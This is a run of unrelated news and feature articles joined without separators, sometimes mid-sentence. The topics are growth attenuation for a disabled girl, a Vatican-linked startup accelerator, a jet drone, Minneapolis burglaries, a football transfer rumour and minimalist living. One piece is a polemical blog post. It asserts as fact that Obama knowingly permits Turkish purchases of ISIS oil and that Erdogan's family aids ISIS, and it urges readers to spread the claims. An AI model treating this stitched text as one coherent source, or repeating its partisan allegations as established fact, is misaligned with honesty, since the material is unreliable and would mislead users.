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Jenn and Mark hope that by keeping her at her current size for the rest of her life they will be able to take her on family outings – fearing that if she gets too big she will be confined to a bed.
Critics also hope that removing her womb will spare her the pain of having periods.
The New Zealand family’s decision make them one of the few families to use the controversial treatment, known as growth attenuation.
The treatment was eventually blocked by the ethics board, however now the Hoopers have been able to travel to South Korea to start the hormone treatment, which critics claim is a violation of the patient’s human rights.
They also point to the fact that Charley is unable to give her consent to the treatment.
MORE: Girl with sleep disorder went to see One Direction… slept through the whole performance
The Hooper family on holiday (Picture: AP Photo/Firdia Lisnawati)
Jenn Hooper said: ‘We haven’t stopped [Charley] doing anything.
‘Growing would have stopped her doing things.
‘We didn’t take away any choices that weren’t already taken from her.’
However Margaret Nygren, CEO of the American Association on Intellectual and Developmental Disabilities, claims the treatment is intended to benefit the lives of people around the patient, rather than the patient themselves.
She said: ‘The idea behind growth attenuation is that you’re keeping someone small for the convenience of those around them, not so that the individual is able to have the most fulfilling life, and I think that’s the crux of the ethical issue.
‘Would you ever want this kind of treatment done to you without your consent or knowledge? And if the answer is no, then why would one want to do that to someone else?’When Pope Francis met Donald Trump last month, he raised eyebrows by handing the U.S. president his 2015 papal letter on global warming. The Laudato Si—On Care for Our Common Home pins climate change on humanity and calls for international action to save the planet.
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It was days before Trump withdrew from the historic Paris Climate Accord that had been signed by nearly every nation. The Vatican called it a “slap in the face.” Trump may have not been inspired by the Pope’s encyclical—he promised Francis he would read it—but others have been, including two venture capitalists behind the Laudato Si Startup Challenge. Yes, the Vatican has a tech accelerator–and it’s focused on launching startups that tackle climate change. Demo Day At The Vatican Companies participating in the Laudato Si Challenge will receive $100,000 in seed funding in exchange for a 6% to 8% equity investment, and expert mentorship. Participating companies will initially receive four months of remote mentoring, and then travel to Rome for two months of in-person work. It all culminates in a Demo Day—a tech accelerator tradition where startups present their companies to an audience—at the Pontifical Academy of Sciences in the Vatican. While companies don’t receive funding from the Catholic Church, and all investment comes from private sources, the accelerator enjoys close ties to the Vatican. “Laudato Si functions like a typical accelerator program with capital investment, equity, mentorship, and guidance,” program director Paul Orlando told Fast Company. “There is a demo day at the end, but the twist is that all of the companies that are selected fit in one way or another into a number of big global problem areas that the pope identified in his encyclical.”
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Companies applying for the accelerator were encouraged to focus on seven specific challenges: Energy, food, water, crowded cities, human potential, conservation, and finance. Participants are not required to be Catholic and the program is open to founders of all backgrounds. Inspired By Pope Francis The Laudato Si Challenge is the brainchild of Stephen Forte, Fresco Capital‘s managing director, and Eric Harr of Imagine Ventures (and one of Fast Company‘s Most Creative People). In a Medium post, Forte says that the inspiration for the accelerator comes from both Pope Francis’s encyclical and the Vatican’s own interest in impact investing. “We select companies that are doing their own work and innovation that are making the world better in these areas,” Orlando says. “I don’t think anything like this has been done before—the combination of the for-profit and a very old institution that has a deep understanding and interest in these things around the world.” For the Laudato Si Challenge’s investors, who include venture capitalists Ibrahim Al-Husseini and Caitlin Sparks of the FullCycle Energy Fund and Google Jolly Good Fellow Chade-Meng Tan, the goal is simple: Take inspiration from the pope’s encyclical, and make an investment in for-profit companies whose technology will make the world a better place. The fact that the Vatican is involved with the accelerator just makes things more interesting.
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Orlando, a professor at the University of Southern California’s Marshall School of Business who runs USC’s own tech incubator and previously cofounded a tech accelerator in Hong Kong, says he was taken aback when first contacted about working at the Vatican. However, after diving into the accelerator’s mission, Orlando found that “It actually makes a lot of sense. The pope himself is speaking about these things, has written about it and actually called out leaders in business, and said there’s an opportunity for you to address.” This of course, brings us to Pope Francis’s TED talk. TED, Accelerators, And The Vatican In his recent TED talk, Pope Francis called on tech firms to do more to combat social and environmental ills. Speaking to attendees, many of whom come from the tech world, Francis added: “How wonderful would it be if the growth of scientific and technological innovation would come along with more equality and social inclusion. How wonderful would it be, while we discover faraway planets, to rediscover the needs of the brothers and sisters orbiting around us. How wonderful would it be if solidarity—this beautiful and, at times, inconvenient word—were not simply reduced to social work and became, instead, the default attitude in political, economic, and scientific choices, as well as in the relationships among individuals, peoples, and countries.” The Laudato Si Challenge is one response to the pope’s call to action. It’s also an undoubtedly unique one: Religious institutions don’t involve themselves every day with tech accelerators or incubators.
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But it also comes with a unique payoff. Companies participating won’t just inch their way toward profitability and growth: They’ll also contribute to a better world. And, in the process, get to pitch their startup in Vatican City.2.1k SHARES Facebook Twitter
At this point, is there anyone that still doesn’t know that ISIS is selling hundreds of millions of dollars of stolen oil in Turkey? As you will see below, this is very much an open secret, but the mainstream media in the United States is being strangely silent about this. Why? Well, because if the truth came out Turkey would have to be kicked out of NATO and Barack Obama would probably be facing impeachment proceedings. He claims to be fighting ISIS, and yet an endless parade of trucks carrying oil that ISIS has stolen goes back and forth over the Turkish border with his full knowledge and approval. Barack Obama is very much aware that Turkey is buying oil from ISIS and he refuses to do anything about it. If the Republicans are looking for a scandal which could completely wreck Obama’s presidency and essentially secure the 2016 election for them, this is it.
Do you want to know why the Turkish government ordered the shooting down of a Russian Su-24 bomber on Tuesday?
It is because the Russians have been bombing the trucks that transport oil from ISIS into Turkey.
The Turks claim that the Russian aircraft violated their airspace for approximately 17 seconds. But as Paul Craig Roberts has pointed out, in order for the SU-24 to fly only 1.15 miles in 17 seconds would mean that it was flying at stall speed the entire time, which is ridiculous. Clearly there is something very fishy with the official story, and the Russians say that they never violated Turkey’s airspace at any time.
But no matter who was right and who was wrong, normally countries go out of their way to avoid an international incident. Instead, it appeared that the Turks were quite eager to shoot down the SU-24, and since that time Turkish President Tayyip Erdogan has refused to apologize. In fact, he has warned Russia “not to play with fire” and he insists that it is the Russians that need to apologize…
“Those who violated our airspace are the ones who need to apologize. Our pilots and our armed forces, they simply fulfilled their duties, which consisted of responding to … violations of the rules of engagement. I think this is the essence.”
Is he insane?
What in the world would cause Erdogan to behave so irrationally?
Well, the truth is that Erdogan has been very upset these days because the Russians have been interfering with the illegal oil smuggling that his family has been conducting.
One of the ways that Russian President Vladimir Putin has responded to the downing of the SU-24 has been to drop “truth bombs” on Turkey. Just check out some of the comments that he made this week following a meeting with French President Francois Hollande…
Commercial-scale oil smuggling from Islamic State controlled territory into Turkey must be stopped, Putin said after meeting Hollande in Moscow. “Vehicles, carrying oil, lined up in a chain going beyond the horizon,” said Putin, reminding the press that the scale of the issue was discussed at the G20 summit in Antalya earlier this month, where the Russian leader demonstrated reconnaissance footage taken by Russian pilots. The views resemble a “living oil pipe” stretched from ISIS and rebel controlled areas of Syria into Turkey, the Russian President stressed. “Day and night they are going to Turkey. Trucks always go there loaded, and back from there – empty.” “We are talking about a commercial-scale supply of oil from the occupied Syrian territories seized by terrorists. It is from these areas [that oil comes from], and not with any others. And we can see it from the air, where these vehicles are going,” Putin said.
If the Russians can see this very clearly, do you think that the U.S. military and U.S. intelligence agencies can see this too?
Of course we can. We have even better surveillance capabilities than the Russians do.
Without a doubt, Obama knows exactly what is going on.
The SU-24 was shot down over an area that is used to transport ISIS oil into Turkey. This is a point that Russian Foreign Minister Sergei Lavrov has been careful to highlight. The following comes from Sputnik News…
Lavrov also pointed to Turkey’s role in the propping up the terror network through the oil trade. “The Russian Minister reminded his counterpart about Turkey’s involvement in the ISIS’ illegal trade in oil, which is transported via the area where the Russian plane was shot down, and about the terrorist infrastructure, arms and munitions depots and control centers that are also located there,” the statement read. “Sergei Lavrov specifically said that this act by Turkey will have serious consequences for Russian-Turkish relations and will not go unanswered.”
It would be one thing if everyone was just finding out now that ISIS is selling oil in Turkey.
But the truth is that this has been known about for quite a long time.
For instance, the U.S. uncovered “undeniable” evidence that Turkey was buying oil from ISIS back in July…
Western officials have long harbored suspicions about Turkey’s links to the Islamic State, also known as ISIS, ISIL, or Daesh. One official told The Guardian’s Martin Chulov in July that a US-led raid on the compound housing ISIS’ “chief financial officer” produced “undeniable” evidence that Turkish officials directly dealt with ranking ISIS members, mainly by purchasing oil from them.
So why didn’t Barack Obama do anything about it?
Why has he continued to allow oil trucks to go back and forth between ISIS and Turkey “day and night” ever since then?
We have clearly been betrayed by Obama. Even our top military commanders know what is happening. Just this week, former NATO Supreme Allied Commander General Wesley Clark went on television and admitted that oil from ISIS is “probably going through Turkey”…
Asked whether he agreed with Vladimir Putin that Turkey was aiding ISIS, Clark responded, “All along there’s always been the idea that Turkey was supporting ISIS in some way,” before going on to accuse Ankara of funneling ISIS terrorists through Turkey and buying ISIS’ stolen oil in the black market. “Someone’s buying that oil that ISIS is selling, it’s going through somewhere, it looks to me like it’s probably going through Turkey,” said Clark, before also going on to accuse Putin of supporting terrorists through his allegiance with Bashar Al-Assad.
So why is Barack Obama completely silent about this?
And it isn’t as if the Turkish government is just turning a blind eye to what is going on.
No, the truth is that the Turkish president’s own son is the one buying and exporting the oil. The following comes from Sputnik News…
Turkey downed the Russian Su-24 Fencer bomber over Syria in response to the destruction of hundreds of semi-truck oil tankers sent to Turkey from Syria by the Islamic State, Syrian Information Minister Omran al-Zoubi said. The information minister said that oil smuggled into Turkey was bought by the Turkish president’s son, who owns an oil company. “All of the oil was delivered to a company that belongs to the son of Recep [Tayyip] Erdogan. This is why Turkey became anxious when Russia began delivering airstrikes against the IS infrastructure and destroyed more than 500 trucks with oil already. This really got on Erdogan and his company’s nerves. They’re importing not only oil, but wheat and historic artefacts as well,” al-Zoubi told RIA Novosti in an interview.
It is Bilal Erdogan that is the head of the company that is buying oil from ISIS, and he is shipping much of it to Japan. BMZ Ltd. is described as a “family business”, and many of President Erdogan’s “close relatives” hold shares in the company. The following is an excerpt from an excellent article by F. William Engdahl…
The prime source of money feeding ISIS these days is sale of Iraqi oil from the Mosul region oilfields where they maintain a stronghold. The son of Erdogan it seems is the man who makes the export sales of ISIS-controlled oil possible. Bilal Erdogan owns several maritime companies. He has allegedly signed contracts with European operating companies to carry Iraqi stolen oil to different Asian countries. The Turkish government buys Iraqi plundered oil which is being produced from the Iraqi seized oil wells. Bilal Erdogan’s maritime companies own special wharfs in Beirut and Ceyhan ports that are transporting ISIS’ smuggled crude oil in Japan-bound oil tankers. Gürsel Tekin vice-president of the Turkish Republican Peoples’ Party, CHP, declared in a recent Turkish media interview, “President Erdogan claims that according to international transportation conventions there is no legal infraction concerning Bilal’s illicit activities and his son is doing an ordinary business with the registered Japanese companies, but in fact Bilal Erdo?an is up to his neck in complicity with terrorism, but as long as his father holds office he will be immune from any judicial prosecution.” Tekin adds that Bilal’s maritime company doing the oil trades for ISIS, BMZ Ltd, is “a family business and president Erdogan’s close relatives hold shares in BMZ and they misused public funds and took illicit loans from Turkish banks.”
Does Barack Obama know all of this?
Of course he does.
Our intelligence agencies would have to be blind, deaf and dumb not to have uncovered all of this by now.
The president of Turkey’s own family is working directly with ISIS, and Obama is doing nothing.
In fact, President Erdogan’s own daughter is even helping to provide “extended medical care” for wounded ISIS militants in Turkish hospitals…
A discontented nurse working clandestinely for a covert medical corps in Şanlıurfa—a city in south-eastern Turkey, close to the border with neighboring Syria— divulges information about the alleged role which Sümeyye Erdoğan plays in providing extended medical care for ISIS wounded militants transferred to Turkish hospitals. Living in a dilapidated apartment in Istanbul’s outskirts along with her two children, a 34-year- old emaciated nurse who spoke on the condition of anonymity for fear of retribution, disclosed her seven-week agonizing ordeal of working in secret military hospital in Şanlıurfa, 150 km (93 miles) east of Gaziantep and 1,300 km (808 miles) southeast of Istanbul. “Almost every day several khaki Turkish military trucks were bringing scores of severely injured, shaggy ISIS rebels to our secret hospital and we had to prepare the operating rooms and help doctors in the following procedures.”
Clearly, the Turkish government is on the same side as ISIS. It has also been documented that ISIS fighters have trained in Turkey and that the Turkish government has been funneling weapons into Syria.
But desperate attempts have been made to keep this information away from the public. In fact, two Turkish journalists that were working to expose the funneling of weapons into Syria have just been arrested and could be facing life in prison…
Two journalists from an opposition Turkish newspaper have been arrested, accused of spying by an Istanbul court following reports that Turkey’s intelligence agency sent weapons to Islamist rebel groups in Syria. In another case of journalists facing criminal charges and censorship, editor-in-chief Can Dundar and Erdem Gul, the newspaper’s Ankara bureau chief, were taken into custody on Thursday night, Turkish media reported. The two men are accused of spying and “divulging state secrets”, according to reports, as well as being members of a terror organisation. Another charge included the violation of state security after the release of the footage. Such charges could see the men face life imprisonment.
And the Turkish government even got Joe Biden to apologize for comments that he made that exposed Turkey’s role in supplying the jihadists in Syria. The following comes from CNN…
“They poured hundreds of millions of dollars and thousands of tons of weapons into anyone who would fight against Assad. Except that the people who were being supplied were al-Nusra and al-Qaeda and the extremist elements of jihadis coming from other parts of the world,” Biden told students. “We could not convince our colleagues to stop supplying them,” he said. On Turkey’s alleged role, Biden said, “President (Recep Tayyip) Erdogan told me, he’s an old friend, said, ‘You were right. We let too many people (including foreign fighters) through.’ Now they are trying to seal their border,” he said, according to transcripts.
Biden later “apologized” for saying those things, but were they true?
Of course what Biden said was true.
The government of Turkey desperately wants to see the Assad regime toppled, and so they are training ISIS militants, funneling weapons to them, buying their oil, and tending to their wounded in Turkish hospitals.
This is being done with the full knowledge and complicity of the Obama administration, and it is a betrayal on a level that is almost unspeakable.
Once again, if the Republicans are looking for a scandal that could destroy Obama’s presidency and deliver the 2016 election into their hands, this is it.
Sadly, just like on so many other occasions, the Republicans will probably find a way to fumble this football too.
But the American people deserve to know the truth. Please share this information with as many people as you can on Facebook, Twitter and through email. If we can get enough people screaming bloody murder about this, perhaps we can get someone in the mainstream media to take notice of what potentially could be the scandal of the century.The U.S. may be forced to withdraw troops completely from Afghanistan by the end of the year. That's bad news if you're the CIA and your lethal drone flights over neighboring Pakistan rely on the close proximity of Afghan airstrips.
Not surprisingly, the defense industry has already produced a solution: a new jet-powered drone that can range 1,800 miles from the nearest base.
The Avenger (formerly Predator C), whose prototype flew its first flight in 2009, is operationally ready after a new round of tests completed last month, according to its maker, General Atomics. Based on the company's more well-known MQ-9 Reaper drone, Avenger is designed to perform high-speed, long-endurance surveillance or strike missions, flying up to 500 mph at a maximum of 50,000 feet for as long as 18 hours.
Compared to its earlier prototype, Avenger's fuselage has been increased by four feet to accommodate larger payloads and more fuel, allowing for extended missions. It can carry up to 3,500 pounds internally, and its 66-foot wingspan is capable of carrying weapons as large as a 2,000-pound Joint Direct Attack Munition (JDAM).
Switching from propeller-driven drones to jets will allow the CIA to continue its Pakistan strikes from a more distant base, if and when the U.S. is forced to withdraw troops entirely from neighboring Afghanistan.
According to a recent Los Angeles Times report, the Obama administration is actively making contingency plans in Central Asia to continue its drone surveillance and missile attacks in northwest Pakistan, because current security arrangements with Afghanistan require U.S. military protection of CIA drone bases.
Earlier this month, Defense Secretary Chuck Hagel acknowledged that defense and intelligence officials are scouting alternative bases for drones in the face of a withdrawal from Afghanistan by the end of 2014.
"I don't get into the specifics of what our plans are on intelligence and drone strikes," Hagel said at a Feb. 7 press conference. "You're constantly updating and changing and looking at possibilities, strategic interests, where you posture those assets, where the threats are most significant, where do you have allies that are willing to work with you."
The opportunity to close the gap between the need to act quickly and operating from a further distance with technology isn't lost on General Atomics.
"Avenger provides the right capabilities for the right cost at the right time and is operationally ready today," said Frank Pace, president of the Aircraft Systems Group at General Atomics, in a statement. "This aircraft offers unique advantages in terms of performance, cost, timescale, and adaptability that are unmatched by any other UAS in its class."
Here's a look at the Avenger in an earlier concept video:After thieves broke into his garage in June and stole an expensive bicycle, Nathan Clough bought a replacement and hung it in the garage, wrapping a thick metal chain around it for added security.
A month later, he had only the remnants of the chain — his new bike was gone, too.
“The police told me that after this, they would suggest I keep the bike in the house,” said Clough, who paid two $1,000 deductibles to his insurance company.
South Minneapolis is in the grips of a sharp rise in burglary cases this summer, fueled largely by increased garage break-ins and thefts of high-end bikes. Records show that 721 burglaries have been reported to police so far this year in south Minneapolis, a 16 percent increase over this time last year.
The dramatic increase is setting off a stream of complaints from homeowners and small businesses, another blow for a part of the city already reeling from a sharp increase in violent crime, particularly robbery. Burglary can be a leading indicator of broader increases in criminal activity and is a crime that is far more likely to impact and aggravate city residents.
“People are definitely feeling the effects and the impact, and they’re wondering what’s going on,” said Ninth Ward City Council Member Alondra Cano, who has attended five community meetings on public safety in her ward this year. “What I’ve seen the most is people interested in figuring out how to solve it.”
The burglary spree comes as the latest bad news for south Minneapolis. A rash of robberies has pushed up violent crime in the area by 13 percent, the sharpest rise of any area in the city this year. Police Chief Janeé Harteau said Wednesday that she will have four extra police officers work overtime shifts in south Minneapolis until Labor Day as part of a $300,000 plan to fight a summer crime wave.
Among the most recent burglaries, thieves are vastly preferring garages over houses, clearing out bicycles, motorcycles and other items.
In one incident, a burglar smashed a car window and used the garage door opener to walk into the garage and nab a bike. On Monday evening, a woman in the 2500 block of 28th Avenue S. said someone walked into her house while she was home, grabbed her wallet and fled. Last Friday, someone walked into the back door of a duplex in the 3100 block of Chicago Avenue S. while the resident and his 5-year-old son sat in the living room. The burglar was surprised to see the residents, shouted “Amigo, no problem,” and left. The victim discovered his wallet missing.
In one recent case, thieves broke into a garage only to get nothing. The garage had already been picked clean by another burglar.
Police do get occasional breaks in some cases.
In June, they broke up a high-end bicycle theft ring in which they discovered 44 bikes stuffed into the basement, living room and attic of a house on Bloomington Avenue S. A man who lived there had been selling the stolen bikes on Craigslist, police alleged.
Clough, who had his orange road bike worth nearly $2,000 lifted from his garage last week, said he suspects the thief knew exactly what he or she was looking for. “They forced open the [service door] window, reached around and unlocked the door, cut the chain, and stole that bike and left my wife’s bike there,” he said.
The thief quietly severed a heavy-duty chain that Clough and a hardware store clerk could not break when he was shopping for the toughest lock possible.
Meanwhile, Stephen Meyer noticed a strange-looking bike near his garage last week. He thinks whoever left it there was the same person who broke into his garage and rode off on his mountain bike. “They did an exchange,” he said.
Brandon Wells, marketing coordinator for the Hub Bike Co-op in south Minneapolis, said the shop has had a lot of customers calling for serial numbers after their bikes were stolen. “This year, especially, we’ve seen an inordinate number of calls about that,” he said of bike thefts.
Police say residents need to ensure that they’re doing all they can to deter burglars.
Of the eight burglaries reported to Third Precinct Inspector Michael Sullivan last week, four were cases in which burglars walked through unlocked service doors or open overhead garage doors. He urged homeowners to lock their doors and to install lighting on the garage.
To make it even harder to break into a garage, install brackets on the inside of the service door to hold a 2-by-4 across it when it’s closed. Even if the lock fails, the door cannot easily be opened with the 2-by-4 in place.
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said.Rumour Mill: Norwich City track Swedish U21 European Championship winner Joseph Baffo
Swedish U21 international defender Joseph Baffo (number 17) shadows Norwich City midfielder Nathan Redmond during England U21s 1-0 European Championship group win last month. Picture: AP Photo/Matthias Schrader
Swedish U21s’ European Championship-winning central defender Joseph Baffo is reportedly still on Norwich City’s transfer radar.
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Baffo came off the bench to help his country beat Portugal’s U21s 4-3 on penalties to lift Sweden’s first European crown at that level on Tuesday night in the Czech Republic.
The 22-year-old was an ever-present in the Swedes’ qualifying pool, and featured against Nathan Redmond’s England U21s in a late 1-0 pool defeat.
Now Baffo is reportedly set for talks with his club Halmstads with only six months left on his current contract.
Norwich, along with Olympiakos and Swiss side Sion have all been linked with the highly-rated youngster this summer, but Baffo’s agent Nima Modyr is quoted in the Swedish media stating a final decision on the defender’s future is yet to be reached.
“There is no specific contract proposal on the table. After the tournament we will go through interest,” said Modyr on the eve of Tuesday’s final, speaking to Swedish tabloid Expresssen. “There is no secret. We are looking for a new environment for Joseph and would prefer that it will be this summer. The most important thing for me is that we find the right club in Europe, especially with the playing time he has received in the U21 European Championships, you can see how much he has grown.”
City chief Alex Neil was at the finals in the Czech Republic as part of his Pro-Licence coaching studies with the Scottish FA.
The Norwich boss has previously been linked with the likes of Celtic centre back Virgil van Dijk as he looks to bolster a key area of his squad ahead of the Premier League kick off on August 8 against Crystal Palace.“The world is too much with us; late and soon,
Getting and spending, we lay waste our powers…”
–William Wordsworth
Who owns just five pairs of underwear? Three chairs? Two forks, one necklace, zero televisions?
Who refuses to go shopping? Spurns social media or Starbucks? Lives with a fellow human and two cats in a home the size of a tool shed?
If your answer involves the words Amish or monk, think again. Over the past few years, thousands of men and women—non-Amish, non-monastic—have embraced such Spartan ways. Unlike people forced by layoffs or other misfortunes to scale back, they’ve done so by choice.
Their belief: For every object, square foot or convenience they give up, they’re gaining something far better.
Related: Clean Up Your Act
Joshua Becker started thinking this way as he cleaned up a cluttered garage in 2008 and realized he’d much rather be spending time with his 5-year-old son, who was playing alone in the yard. “What I noticed that morning was not only are possessions not making me happy, but they also distract us from the very things that do bring happiness, fulfillment, meaning,” says Becker, who lives in Peoria, Ariz., and has written books such as Living with Less: An Unexpected Key to Happiness. “Nobody says, ‘My goal in life is to own a lot of stuff,’ and yet most of us live life that way. We try to find jobs that pay a lot of money, and buy bigger houses and faster cars, and that’s not really what we most want out of life. We want to make a difference. We want significance. We want to be good fathers and husbands.”
They’re purging not just possessions, but, in Becker’s words, “anything that distracts me from the things I most value.”
With such epiphanies in mind, Becker and his frugal peers have launched a movement that many call the New Minimalism. They’re purging not just possessions, but, in Becker’s words, “anything that distracts me from the things I most value.” For some, this means not Facebooking after dinner or binge-watching House of Cards. For others, it’s resisting the siren call of eBay.
Though the particulars are modern, the ideas are hardly new. “Almost every respected religious leader from the beginning of time has been talking about this, calling on us to stop focusing on physical possessions and focus on spiritual things, love and hope and peace,” Becker says. Minimalist groups have sprung up throughout history—the Epicureans of ancient Greece, for instance, and admirers of Henry David Thoreau at the turn of the 20th century. Today minimalists name a host of reasons for simplicity’s resurgence, including climate change, economic anxiety, a search for spirituality, and inventions like the Kindle that make it easier to own fewer objects.
The new minimalists are drawing millions of readers to blogs about lean living. They’re joining online groups like “Use everything and waste nothing!” (nearly 7,000 members) and “Freecycle New York City” (more than 56,000 members). They’re quoting Wordsworth and Thoreau. They’re bringing back the Murphy bed.
And they’re discovering that, all in all, streamlining your life is easier than you might expect. “You don’t have to downsize dramatically like we did to live more simply,” says Tammy Strobel, who moved with her husband from a 1,200-square-foot apartment to a 128-square-foot house in Northern California. “Just be thoughtful. If you can look at the big picture, the simple lifestyle will emerge from that.”
That picture and lifestyle will vary from person to person, Becker notes: “You talk to different minimalists, you discover that people are free to pursue whatever it is they want to pursue.”
Family and Flexibility
Back in 2007, Strobel’s job in investment management made her feel like a drone. “I was working like 10 hours a day and commuting two hours a day,” she says. “I wasn’t getting enough exercise, and to cope with stress I was shopping more, drinking more. So my husband and I started talking about ways we could downsize our lives—not only for me to shift careers, but also to pay down debt, get healthier, and be there for friends and family members.”
Over the next five years, Strobel and her husband, Logan Smith, thinned out their belongings. They moved to smaller and smaller spaces in Oregon and then wound up near Yreka, Calif., in the 128-square-footer they call the Tiny House. Designed for them, it has a sleeping loft, kitchen, half-bathroom with a composting toilet, and an outdoor shower—all for $33,000, what many people spend on a car.
The more Strobel downsized, she found, the more her life improved. On the relatively minor end, there’s been much less cleaning to do. “I don’t miss having to vacuum all the time,” she says. “And even when everything in our closet is dirty, we can get it done in two to three loads.”
On the major end, Strobel’s expenses shrank enough for her to switch to lower-paying jobs in social services and then finally to writing, teaching and photography. After her father had a stroke, she had the flexibility to shuttle between Oregon and California to care for him. “I would not have been able to do that if I were still in the investment management industry,” she says. “Just to have that opportunity to help care for my dad and to be with him as he died. It was really hard, but it was also a gift.”
Other gifts of simpler living: having time for gardening, hiking and traveling; playing with cats Christie and Elaina; and feeling a lot healthier and happier overall.
“I’ve tried to make a shift to just paying attention to what my body needs in terms of rest and exercise,” she says. “I’m eating better. I’m not drinking a bottle of wine like I was when I was really stressed-out. I also think that living simply has helped me bounce back from really tough circumstances, particularly my dad’s illness and the grief I experienced after his death. If I were still working in investment management, I would have had the tendency to want to numb all the negative feelings” with alcohol or shopping, she says. “I’m just really aware of how I’m conducting myself in the world.”
Change and Confidence
On the surface, Mary Carlomagno’s life 10 years ago was peachy. She had money. She had a good job as a marketing executive. She had plenty of friends. Even so, she knew something was missing. “I was living a very privileged life, but I wasn’t happy,” Carlomagno says. How come? As Carlomagno recalls in her memoir Give It Up!: My Year of Learning to Live Better with Less, she was “literally hit over the head” by a clue: an “avalanche of designer shoeboxes” that fell from her closet one morning.
Within hours, she realized her problem was mindless consumption. “I wasn’t changing anything in my life, just going on day after day—Oh, I’ll have another double latte and another martini and buy another pair of shoes,” she says now. “I was just adding all these things on that didn’t necessarily have a lot of meaning. I decided to start giving more thought to what I was doing.”
Each month for a year, Carlomagno curbed or cut something she saw as a personal weakness or vice—from recreational shopping, restaurant meals and taxis, to coffee, chocolate and booze. In almost every case, she discovered new talents and strengths (making risotto, resisting peer pressure to drink) and ways of enjoying life (reading poetry, navigating Manhattan on foot).
“Not only could I live without a lot of things and be happier and more fulfilled, but also I could make a change instead of just accepting things.”
“What I learned was not only could I live without a lot of things and be happier and more fulfilled, but also I could make a change instead of just accepting things,” she says. “And change kind of begets changes. So for me, just giving up chocolate or questioning that third cup of coffee led to revolutionary change in my life—changing careers, starting to write, moving apartments, realizing this man I was with was the one I should marry.”
Now a home-organizing expert in New Providence, N.J., with a husband and two kids, Carlomagno is “more moderate” in all respects. “I learned that many of the things I thought were making me happy didn’t make me happy. I learned a lot of people I was surrounding myself with weren’t doing the things I wanted to be doing, and I also learned the difference between what my wants are and what my needs are. Before, I thought everything was a need, like, I need those shoes; I need that bag, and now I can very easily let go of things.” Her year’s experiment taught her to “put less emotion onto material things and put it more on experiences and relationships and things that really feed your life.”
Location and Luxury
Only 675 square feet for two adults, a toddler, and a baby on the way? If you had told Jacqueline Schmidt five years ago that such numbers would make her happier than ever, she’d have thought you were nuts. She was, after all, the illustrator and designer whose beautifully furnished, 1,200-square-foot loft had been featured in magazines; the world traveler who owned thousands of dollars’ worth of art books and adored decorating with just the right piece of coral or taxidermied bird. That Brooklyn, N.Y., loft was bound up with her identity, she recalls; it stood for her thriving career.
Then she married small-space design expert David Friedlander, and the couple agreed to downsize. In the beginning, Schmidt felt anxious.
She had the idea that a pared-back lifestyle “meant less success, less opportunity, less validation.”
She had the idea that a pared-back lifestyle “meant less success, less opportunity, less validation,” she says, and then laughs. “What a joke! I have so much more now than I ever did.”
First, there’s the vibrant slice of Brooklyn outside the family’s new apartment. By choosing a smaller home, Friedlander says, they could afford “a neighborhood that’s generally reserved nowadays for rich people”—complete with Prospect Park, countless family-friendly businesses and good schools for their 2-year-old son, Finn, and baby-on-the-way.
Second, there are the splendors inside the apartment: Organic waffle-weave towels. Carrara marble tiles and countertops. Oiled European oak floors with a special, rough-sawn finish that hides scratches and dirt. In a larger place, Schmidt says, such touches would cost a fortune—and indeed, in her more sprawling days, she was forced to use cheaper materials. Now she has everything the way she likes it, partly thanks to the cash she got from selling dozens of possessions on Craigslist, eBay and Etsy.
Recently, Schmidt says, her mother confessed that when she first heard about her daughter’s downsized digs, she felt sorry for her. Then she visited. “She said, ‘I want your apartment!’” says Schmidt, sighing happily at the memory. “She kept using the word luxury.”
Giving It a Go
Feeling inspired but unsure what to trim from your life or how to do it? Minimalists are full of ideas:
Answer some key questions. For instance: Do you look forward to your day at work, or dread it? Is there something you want to do instead? What hobbies do you want more time for? How do you actually spend your free time? What would your ideal family life look like? This should help you figure out your goals and what’s been stopping you from achieving them.
Watch your bank and credit card statements. That’s partly how Carlomagno realized she was spending too much money (and time) shopping for shoes and sushi.
Keep a daily log. After Strobel started one, she was shocked to find she’d been watching TV three hours a day. “Not that watching TV is bad in moderation,” she explains, “but that was time I could have been spending downsizing or just going for a walk.”
Related: 8 Little Habits That Will Instantly Make You Happier
2. If you want a smaller place but aren’t sure how small to go…
Consider how much of your current home you actually use and find one closer to that size. Studies suggest that for many families, some rooms see little if any traffic.
Choose a home that meets your daily needs. “People tend to design their homes around worst-case scenarios,” Friedlander says. “What if my in-laws and my parents come and the neighbors stop by at the same time? People will spend an extra hundred grand on their home to prepare for a contingency that will come up maybe once a year rather than actually design their homes around how they’re used 95 percent of the time.”
Don’t let your furniture limit your housing choices. “When we were on a hunt for a rental after the sale of my 1,200-square-foot space, we turned down a lot of amazing and reasonable apartments because we couldn’t see how our stuff would fit into the apartment,” Schmidt says. Only later did the couple realize that if, say, they ditched their 9-foot dining table for a shorter one, it would increase their options dramatically.
Be honest. Will you ever use that olive pitter? Do you notice that vase anymore, or is it just something to dust? If an item isn’t useful, beautiful or meaningful to you, give it away or sell it.
Unclutter one room or closet at a time. “If you look at the whole [home], it’s just so overwhelming and easy to get defeated,” Strobel says. “When you focus on one area at a time, you can really see progress.”
Share more. Maybe you and a neighbor, instead of each buying a chain saw, can buy one together and take turns with it.
Make a pact. In 2005, Sarah Pelmas and several friends formed the “Compact”—a vow not to buy anything new for a year, aside from necessities such as food and medicine. If they absolutely needed anything else, they borrowed it or purchased it secondhand. “There was a lot of pride about finding something for someone else. It took two Compact members and a couple of connected friends to find me a [used] shower curtain, for instance,” says Pelmas, of Washington, D.C. “But I think also there was a little friendly competition, which made us less likely to give in or give up if it was hard to make something work.” The Compact now has more than 10,000 members worldwide.
Finally Free
Peeling down to the necessities has its challenges, minimalists admit. If you own just one pair of socks, for instance, you’ll be washing those socks daily. If your home lacks an indoor shower, you might find yourself driving to the gym in the dead of winter to shower there.
“It was definitely challenging being in the Tiny House when Logan was on his sabbatical,” Strobel recalls. “I work at home, and he was working at home, so we had to have some conversations about quiet time and having our own little areas.”
Perhaps hardest of all is the introspection that minimalism tends to bring. “By about the fourth vanload of things to Goodwill, I became very self-reflective,” Becker says. “Why did I have four vanloads of things that I didn’t actually need? Was advertising really having that much of an effect on me? Was I trying to impress people with the things I owned?” On and on, the questions rolled. “Having to search through that was difficult, painful.”
Even so, minimalists say, such moments are a small price to pay for the new lightness they feel.
“After my stuff was gone, it was like, Oh my God, I’m free,” Schmidt says. “I don’t have to do this anymore. I don’t have to acquire any more stuff. I can go to a library or a museum and be around these things in other ways, but I don’t have to own them.”
As for Becker, minimalism has fostered more time with his two children and the chance to explore his love of writing. “Those are such a greater fulfillment for me than just spending my time watching television or shopping for clothes, or taking care of things,” he says. And now and then, there’s the joy of doing nothing at all.
